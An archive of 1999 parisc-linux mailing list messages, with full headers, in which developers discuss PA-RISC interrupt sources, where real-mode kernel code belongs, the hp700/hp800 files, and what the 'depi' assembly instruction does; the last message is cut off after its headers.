X-Trace: ger.gmane.org 1416618623 27853 80.91.229.3 (22 Nov 2014 01:10:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:23 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: billk@sr.hp.com  Sun Nov 14 18:22:10 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id SAA11210
	for <parisc-linux@puffin.external.hp.com>; Sun, 14 Nov 1999 18:22:10 -0700
Original-Received: (qmail 25849 invoked by uid 15267); 15 Nov 1999 01:23:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25841 invoked from network); 15 Nov 1999 01:23:43 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 15 Nov 1999 01:23:43 -0000
Original-Received: from postal.sr.hp.com (root@postal.sr.hp.com [15.4.46.173])
	by atlrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id UAA28830
	for <parisc-linux@thepuffingroup.com>; Sun, 14 Nov 1999 20:22:45 -0500 (EST)
Original-Received: from meow.sr.hp.com (billk@meow.sr.hp.com [15.8.162.83]) by postal.sr.hp.com with ESMTP (8.8.6 (PHNE_17190)/8.7.3 TIS 5.0) id RAA11776 for <parisc-linux@thepuffingroup.com>; Sun, 14 Nov 1999 17:23:46 -0800 (PST)
Original-Received: (from billk@localhost) by meow.sr.hp.com (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0) id RAA01444 for parisc-linux@thepuffingroup.com; Sun, 14 Nov 1999 17:23:36 -0800 (PST)
X-Mailer: ELM [version 2.4ME+ PL43 (25)]
Xref: news.gmane.org gmane.linux.ports.parisc:6369


From: Alex deVries <adevries@thepuffingroup.com>
|On Sat, 13 Nov 1999, Matthew Wilcox wrote:
|> For the machines which have ASP, am I right in saying they have no other
|> sources of interrupts?  ie what I want to do is:
|
|I'm interpretting this question as:
|
|"For machines which have ASP, am I right in saying that no other IO
|devices apart from ASP generate interrupts to the CPU?"
|
|I think the answer to that question is no, because:
|- they have GSC slots, so you could have a card mode lasi or dino device
|- doesn't WAX have it's own interrupts?

Remember, ASP only exists on boxes that use the VSC/SGC I/O bus, i.e.
boxes that are pre-GSC.  Pre-GSC boxes will never have GSC slots,
or WAX, or Zalon.

The only expansion slots these boxes have are EISA, and EISA interrupts
come through ASP.

I learned a little more about these boxes friday.  The memory controller
in early 715s (/33, /50, /75) is called spider.  SPider actually 
sends the bus transaction to the processor to interrupt it.  It 
can interrupt the processor for any of its own reasons (memory
error, bus timeout, etc.)  It has one external interrupt pin, and
that is hooked to ASP.  I also did a quick scan through the docs
for the viper meomry controller used in 720/730/750, and it has one
external interrupt pin, so I think the assumption that all I/O 
interrupts come through ASP is valid.

Unfortunately spider was designed by the ex-Apollo floks in CHelmsford,
who basiclaly all left the company when R&D was consolidated in
Ft. COllins.  SO I have no good sources for an ERS for the spider chip.

	-Bill Katz


From - Thu Nov 08 21:11:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] real mode stuff.
Date: Sun, 14 Nov 1999 23:41:07 -0500 (EST)
Lines: 21
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9911142338080.7516-100000@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618623 27856 80.91.229.3 (22 Nov 2014 01:10:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:23 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@thepuffingroup.com  Sun Nov 14 20:28:40 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id UAA11722
	for <parisc-linux@puffin.external.hp.com>; Sun, 14 Nov 1999 20:28:39 -0700
Original-Received: (qmail 23346 invoked by uid 15267); 15 Nov 1999 03:30:13 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23321 invoked from network); 15 Nov 1999 03:30:12 -0000
Original-Received: from unknown (HELO vodka.thepuffingroup.com) (@216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 15 Nov 1999 03:30:12 -0000
Original-Received: from vodka.thepuffingroup.com (IDENT:adevries@vodka.thepuffingroup.com [192.168.1.2])
	by vodka.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id XAA07582
	for <parisc-linux@thepuffingroup.com>; Sun, 14 Nov 1999 23:41:07 -0500
Xref: news.gmane.org gmane.linux.ports.parisc:6370


So, realmode_setup.c is a good start, but it needs a bit of a cleanup.  

Stuff I'm working on:

- Philipp and I agree that we should just create arch/parisc/kernel/real
for all the real mode stuff
- creating arch/parisc/real/pdc.c
- moving some stuff in arch/parisc/kernel/realmode_setup.c to
arch/parisc/real/setup.c or similiar.

Let me know if there's objections.  I'll wait until Paul has a chance to
read this before committing.

- Alex

-- 
Alex deVries <adevries@thepuffingroup.com>
Vice President Engineering
The Puffin Group


From - Thu Nov 08 21:11:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] arch/parisc/kernel/realmode_setup.c Question
Date: Sun, 14 Nov 1999 23:42:16 -0500 (EST)
Lines: 12
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9911142341150.7516-100000@vodka.thepuffingroup.com>
References: <382F5B60.D215DB58@uswest.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618624 27860 80.91.229.3 (22 Nov 2014 01:10:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:24 +0000 (UTC)
Cc: paul_bame@hp.com, Parisc Linux <parisc-linux@thepuffingroup.com>
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: adevries@thepuffingroup.com  Sun Nov 14 20:29:50 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id UAA11852
	for <parisc-linux@puffin.external.hp.com>; Sun, 14 Nov 1999 20:29:50 -0700
Original-Received: (qmail 23599 invoked by uid 15267); 15 Nov 1999 03:31:23 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23592 invoked from network); 15 Nov 1999 03:31:23 -0000
Original-Received: from unknown (HELO vodka.thepuffingroup.com) (@216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 15 Nov 1999 03:31:23 -0000
Original-Received: from vodka.thepuffingroup.com (IDENT:adevries@vodka.thepuffingroup.com [192.168.1.2])
	by vodka.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id XAA07592;
	Sun, 14 Nov 1999 23:42:16 -0500
In-Reply-To: <382F5B60.D215DB58@uswest.net>
Xref: news.gmane.org gmane.linux.ports.parisc:6371

On Sun, 14 Nov 1999, Ryan Bradetich wrote:
> > How far does it actually boot though?
> 
> Same as always (their is just more console output before it hangs).  Here is a cut/paste
> of the console messages from the serial console.

Hm.  I'm working on inserting a bazillion chassis_write() calls so that I
can see exactly where it dies...

- Alex



From - Thu Nov 08 21:11:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715 useful
Date: Sun, 14 Nov 1999 19:57:05 -0800
Lines: 40
Approved: news@gmane.org
Message-ID: <199911150357.TAA24057@milano.cup.hp.com>
References: <199911131834.NAA00219@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618624 27862 80.91.229.3 (22 Nov 2014 01:10:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:24 +0000 (UTC)
Cc: Matthew.Wilcox@genedata.com (Matthew Wilcox),
        parisc-linux@thepuffingroup.com
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: grundler@cup.hp.com  Sun Nov 14 20:54:14 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id UAA12007
	for <parisc-linux@puffin.external.hp.com>; Sun, 14 Nov 1999 20:54:14 -0700
Original-Received: (qmail 29427 invoked by uid 15267); 15 Nov 1999 03:55:47 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29420 invoked from network); 15 Nov 1999 03:55:47 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 15 Nov 1999 03:55:47 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.16.124.11])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 8BB694E6; Sun, 14 Nov 1999 22:55:43 -0500 (EST)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id TAA24057; Sun, 14 Nov 1999 19:57:15 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Sat, 13 Nov 1999 13:34:20 PST."
             <199911131834.NAA00219@hiauly1.hia.nrc.ca> 
Xref: news.gmane.org gmane.linux.ports.parisc:6372

"John David Anglin" wrote:
> > For the machines which have ASP, am I right in saying they have no other
> > sources of interrupts?  ie what I want to do is:
> 
> Under hpux 10.X, I was told that the NCR 710/720 controller devices are
> sources of interrupts.  They do this by writing to the processor.  Thus,
> it appears they bypass the ASP.

As noted later, I was the source of John's information.
More notes:

o This is a the HP-UX c720 driver taking advantage of the architecture.
  Linux SCSI drivers won't do that (yet).

o Alex misunderstood - the HP-UX c720 driver *can* bypass all line
  based interrupt support (ASP/LASI/Dino/...). It only does it for
  a card which already uses transaction based interupts (TBIs)
  (HSC F/W SCSI). TBIs are required to work on HSC bus to meet
  PA I/O Arch and the c720 driver was coded with this safe assumption.
  TBIs sadly do NOT work under PCI on all platforms.

o Someone also already pointed out the timer uses the processor
  interrupts. I don't know if WAX (EISA) has it's own IAR but
  would expect it too. My advice: boot HP-UX 10.20 or 11.X,
  run Q4 and include pa_intr.pl, "run DumpEIRR" and you'll see
  exactly which EIR bits are used.

o and lastly, I too am skeptical (like Philipp) how useful this
  optimization is. I can help measure it once the box is running.
  I have my own set of optimizations I *think* we need. Philipp
  agreed we would put them in once I had measurements showing
  the improvement.

cheers,
grant

Grant Grundler
Unix Developement Lab
+1.408.447.7253


From - Thu Nov 08 21:11:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hp700.c and hp800.c ?
Date: Sun, 14 Nov 1999 20:01:16 -0800
Lines: 77
Approved: news@gmane.org
Message-ID: <199911150401.UAA24070@milano.cup.hp.com>
References: <Pine.LNX.4.10.9911141751050.6663-100000@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618624 27866 80.91.229.3 (22 Nov 2014 01:10:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:24 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Sun Nov 14 20:58:13 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id UAA12144
	for <parisc-linux@puffin.external.hp.com>; Sun, 14 Nov 1999 20:58:12 -0700
Original-Received: (qmail 30434 invoked by uid 15267); 15 Nov 1999 03:59:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30425 invoked from network); 15 Nov 1999 03:59:46 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 15 Nov 1999 03:59:46 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by atlrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id WAA16362
	for <parisc-linux@thepuffingroup.com>; Sun, 14 Nov 1999 22:58:51 -0500 (EST)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id UAA24070 for <parisc-linux@thepuffingroup.com>; Sun, 14 Nov 1999 20:01:16 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Sun, 14 Nov 1999 17:51:46 PST."
             <Pine.LNX.4.10.9911141751050.6663-100000@vodka.thepuffingroup.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:6373

Alex deVries wrote:
> Do we really need hp700.c and hp800.c in arch/parisc/kernel ?

I sure hope not.

10.20 and previous releases shipped seperate binaries mostly
because the organizations didn't agree on product requirements.
Not because the technology was so different. They just had different
market requirements.

11.X releases only ship one binary which runs on both 700s and 800s.

grant

Grant Grundler
Unix Developement Lab
+1.408.447.7253

X-From-Line: hppa-linux@thepuffingroup.com  Wed Mar 10 14:48:38 1999
Return-Path: <hppa-linux@thepuffingroup.com>
Received: from merlin.pcj.primenet.com (pcj@merlin.pcj.primenet.com [192.168.111.10])
	by merlin.pcj.primenet.com (8.8.7/8.8.7) with ESMTP id OAA03085
	for <pcj@merlin.pcj.primenet.com>; Wed, 10 Mar 1999 14:48:38 -0800
Resent-From: hppa-linux@thepuffingroup.com
Received: from pop.primenet.com
	by merlin.pcj.primenet.com (fetchmail-4.4.7 POP3)
	for <pcj/merlin.pcj.primenet.com> (single-drop); Wed, 10 Mar 1999 14:48:38 PST
Received: from smtp02.primenet.com (daemon@smtp02.primenet.com [206.165.6.132])
	by primenet.com (8.8.8/8.8.5) with ESMTP id NAA21500
	for <pcj@smtp-local.primenet.com>; Mon, 8 Mar 1999 13:12:42 -0700 (MST)
Received: (from daemon@localhost)
	by smtp02.primenet.com (8.8.8/8.8.8) id NAA05340
	for <pcj@primenet.com>; Mon, 8 Mar 1999 13:13:47 -0700 (MST)
Received: from SOD.RES.CMU.EDU(128.2.91.30)
 via SMTP by smtp02.primenet.com, id smtpd005321; Mon Mar  8 13:13:45 1999
Received: (from listserv@localhost)
	by sod.res.cmu.edu (8.8.7/8.8.7) id OAA10315;
	Mon, 8 Mar 1999 14:34:49 -0500
Resent-Date: Mon, 8 Mar 1999 14:34:49 -0500
X-Authentication-Warning: sod.res.cmu.edu: listserv set sender to hppa-linux-request@thepuffingroup.com using -f
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
From: Erik Paulson <epaulson@upl.cs.wisc.edu>
Message-Id: <199903081934.NAA07421@dukat.upl.cs.wisc.edu>
To: hppa-linux@thepuffingroup.com
Date: Mon, 8 Mar 1999 13:34:38 -0600 (CST)
X-Mailer: ELM [version 2.4 PL25]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Subject: [hppa-linux] source for the boot loader?
Resent-Message-ID: <"5y51G1.0.5X2.PP2vs"@sod.res.cmu.edu>
Reply-To: hppa-linux@thepuffingroup.com
X-Mailing-List: <hppa-linux@thepuffingroup.com> archive/latest/146
X-Loop: hppa-linux@thepuffingroup.com
Precedence: list
Resent-Sender: hppa-linux-request@thepuffingroup.com
X-UIDL: 0e5d59d1c8562238c73a0a65f85a413a
Status: RO
Lines: 15
Xref: merlin.pcj.primenet.com palinux:116

Hi,
	Maybe I just missed it, but is the source for the bootloader out 
there anywhere? I'd like to start looking at the code....

I've been working with a friend to do a monolithic port for a while, and 
we'd gotten cross compilers and the beginings of the bootloader written. Now
that there are others working on it, we'll abandon our efforts and concentrate
on your code base.

-Erik

-------------------------------------------------------------------------
To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.



From - Thu Nov 08 21:11:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dkennedy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] real mode stuff.
Date: Mon, 15 Nov 1999 00:41:28 -0500 (EST)
Lines: 24
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9911150031280.2071-100000@grasshopper.thepuffingroup.com>
References: <Pine.LNX.4.10.9911142338080.7516-100000@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618625 27868 80.91.229.3 (22 Nov 2014 01:10:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:25 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alex deVries <adevries@thepuffingroup.com>
Original-X-From: dkennedy@thepuffingroup.com  Sun Nov 14 21:32:11 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id VAA12533
	for <parisc-linux@puffin.external.hp.com>; Sun, 14 Nov 1999 21:32:11 -0700
Original-Received: (qmail 6027 invoked by uid 15267); 15 Nov 1999 04:33:45 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6017 invoked from network); 15 Nov 1999 04:33:44 -0000
Original-Received: from unknown (HELO vodka.thepuffingroup.com) (@216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 15 Nov 1999 04:33:44 -0000
Original-Received: from grasshopper.thepuffingroup.com (IDENT:dkennedy@grasshopper.thepuffingroup.com [192.168.1.65])
	by vodka.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id AAA07728;
	Mon, 15 Nov 1999 00:44:38 -0500
In-Reply-To: <Pine.LNX.4.10.9911142338080.7516-100000@vodka.thepuffingroup.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6374

On Sun, 14 Nov 1999, Alex deVries wrote:

> - Philipp and I agree that we should just create arch/parisc/kernel/real
> for all the real mode stuff
> - creating arch/parisc/real/pdc.c
> - moving some stuff in arch/parisc/kernel/realmode_setup.c to
> arch/parisc/real/setup.c or similiar.
> 
> Let me know if there's objections.  I'll wait until Paul has a chance to
> read this before committing.

How much real mode code is there?  The i386 processor starts up in
a real mode as well.  Linux enters protected mode in head.S very
quickly.  If real mode on the PA-RISC is only used during
initialization, then I don't think that it warrants a separate
directory.  If real mode is used during normal operation, then I say
sure.

Of course, that's my opinion, which means little.

-- 
David Kennedy
The Puffin Group


From - Thu Nov 08 21:11:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] depi?
Date: Mon, 15 Nov 1999 03:08:49 -0500 (EST)
Lines: 21
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9911150307300.7996-100000@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618625 27870 80.91.229.3 (22 Nov 2014 01:10:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:25 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@thepuffingroup.com  Sun Nov 14 23:56:22 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id XAA13401
	for <parisc-linux@puffin.external.hp.com>; Sun, 14 Nov 1999 23:56:22 -0700
Original-Received: (qmail 2356 invoked by uid 15267); 15 Nov 1999 06:57:55 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2346 invoked from network); 15 Nov 1999 06:57:55 -0000
Original-Received: from unknown (HELO vodka.thepuffingroup.com) (@216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 15 Nov 1999 06:57:55 -0000
Original-Received: from vodka.thepuffingroup.com (IDENT:adevries@vodka.thepuffingroup.com [192.168.1.2])
	by vodka.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id DAA08043
	for <parisc-linux@thepuffingroup.com>; Mon, 15 Nov 1999 03:08:49 -0500
Xref: news.gmane.org gmane.linux.ports.parisc:6375


What does this actually do:

        ; Get ready for phys->virt transition
        ; First order of business is to adjust some pointers
        depi            3,1,2,%arg0     ; phys->virt(free mem ptr)
        depi            3,1,2, %sp      ; phys->virt SP
        depi            3,1,2, %dp      ; p2v DP

in head.S?

I don't have a 'depi' in the index of my PA 2.0 assembler book.  I have a
depwi and a depdi though.

- Alex "I shot the sheriff, but I did not shoot the depdi" deVries

-- 
Alex deVries <adevries@thepuffingroup.com>
Vice President Engineering
The Puffin Group


From - Thu Nov 08 21:11:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] depi?
Date: Mon, 15 Nov 1999 00:24:01 -0700
Lines: 23
Approved: news@gmane.org
Message-ID: <3669.942650641@upchuck>
References: <Pine.LNX.4.10.9911150307300.7996-100000@vodka.thepuffingroup.com>
Reply-To: law@cygnus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618625 27874 80.91.229.3 (22 Nov 2014 01:10:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:25 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alex deVries <adevries@thepuffingroup.com>
Original-X-From: law@upchuck.cygnus.com  Mon Nov 15 00:23:24 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id AAA13641
	for <parisc-linux@puffin.external.hp.com>; Mon, 15 Nov 1999 00:23:24 -0700
Original-Received: (qmail 6221 invoked by uid 15267); 15 Nov 1999 07:24:57 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6211 invoked from network); 15 Nov 1999 07:24:56 -0000
Original-Received: from unknown (HELO upchuck.cygnus.com) (208.224.120.150)
  by mailserv2.iuinc.com with SMTP; 15 Nov 1999 07:24:56 -0000
Original-Received: from upchuck (law@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id AAA03672;
	Mon, 15 Nov 1999 00:24:01 -0700
X-Mailer: exmh version 2.0.2
In-reply-to: Your message of Mon, 15 Nov 1999 03:08:49 EST.
             <Pine.LNX.4.10.9911150307300.7996-100000@vodka.thepuffingroup.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6376

  In message <Pine.LNX.4.10.9911150307300.7996-100000@vodka.thepuffingroup.com>
you write:
  > 
  > What does this actually do:
  > 
  >         ; Get ready for phys->virt transition
  >         ; First order of business is to adjust some pointers
  >         depi            3,1,2,%arg0     ; phys->virt(free mem ptr)
  >         depi            3,1,2, %sp      ; phys->virt SP
  >         depi            3,1,2, %dp      ; p2v DP
  > 
  > in head.S?
  > 
  > I don't have a 'depi' in the index of my PA 2.0 assembler book.  I have a
  > depwi and a depdi though.
HP changed a large amount of their assembly syntax for PA2.0.

depi == depwi

Basically they made the extract/deposit instructions explicitly mention
their size [word vs double word].
jeff


From - Thu Nov 08 21:11:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] depi?
Date: Sun, 14 Nov 1999 23:36:51 -0800 (PST)
Lines: 37
Approved: news@gmane.org
Message-ID: <199911150736.XAA14959@opus.allegro.com>
References: <Pine.LNX.4.10.9911150307300.7996-100000@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618625 27877 80.91.229.3 (22 Nov 2014 01:10:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:25 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: adevries@thepuffingroup.com (Alex deVries)
Original-X-From: sieler@opus.allegro.com  Mon Nov 15 00:35:57 1999
Original-Received: from mailserv2.iuinc.com (mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id AAA13811
	for <parisc-linux@puffin.external.hp.com>; Mon, 15 Nov 1999 00:35:56 -0700
Original-Received: (qmail 11847 invoked by uid 15267); 15 Nov 1999 07:37:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11272 invoked from network); 15 Nov 1999 07:36:52 -0000
Original-Received: from opus.allegro.com (209.10.39.50)
  by mailserv2.iuinc.com with SMTP; 15 Nov 1999 07:36:52 -0000
Original-Received: (from sieler@localhost)
	by opus.allegro.com (8.9.3/8.9.3) id XAA14959;
	Sun, 14 Nov 1999 23:36:51 -0800
In-Reply-To: <Pine.LNX.4.10.9911150307300.7996-100000@vodka.thepuffingroup.com> from "Alex deVries" at Nov 15, 1999 03:08:49 AM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:6377

Re:

>         ; Get ready for phys->virt transition
>         ; First order of business is to adjust some pointers
>         depi            3,1,2,%arg0     ; phys->virt(free mem ptr)
>         depi            3,1,2, %sp      ; phys->virt SP
>         depi            3,1,2, %dp      ; p2v DP

DEPI is "Deposite Immediate".  depi 3,1,2, %arg0
drops the value 3 into the upper 2 bits of register arg0.

IIRC, it's:  DEPI immediate_value, right_most_bit#, #bits, target_register

But...strange code.  It's setting the upper 2 bits of R26, R30, and R27.

> in head.S?
> 
> I don't have a 'depi' in the index of my PA 2.0 assembler book.  I have a
> depwi and a depdi though.
> 
> - Alex "I shot the sheriff, but I did not shoot the depdi" deVries
> 
> -- 
> Alex deVries <adevries@thepuffingroup.com>
> Vice President Engineering
> The Puffin Group
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 


-- 
Stan Sieler                                           sieler@allegro.com
www.allegro.com/sieler/wanted/index.html          www.allegro.com/sieler


From - Thu Nov 08 21:11:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] real mode stuff.
Date: Mon, 15 Nov 1999 08:52:05 +0100
Lines: 35
Approved: news@gmane.org
Message-ID: <19991115085205.D30917@mathe.stud.uni-erlangen.de>
References: <Pine.LNX.4.10.9911142338080.7516-100000@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618626 27883 80.91.229.3 (22 Nov 2014 01:10:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:26 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alex deVries <adevries@thepuffingroup.com>
Original-X-From: prumpf@r.uni-erlangen.de  Mon Nov 15 01:13:27 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id BAA14043
	for <parisc-linux@puffin.external.hp.com>; Mon, 15 Nov 1999 01:13:27 -0700
Original-Received: (qmail 19170 invoked by uid 15267); 15 Nov 1999 08:15:00 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19160 invoked from network); 15 Nov 1999 08:15:00 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 15 Nov 1999 08:15:00 -0000
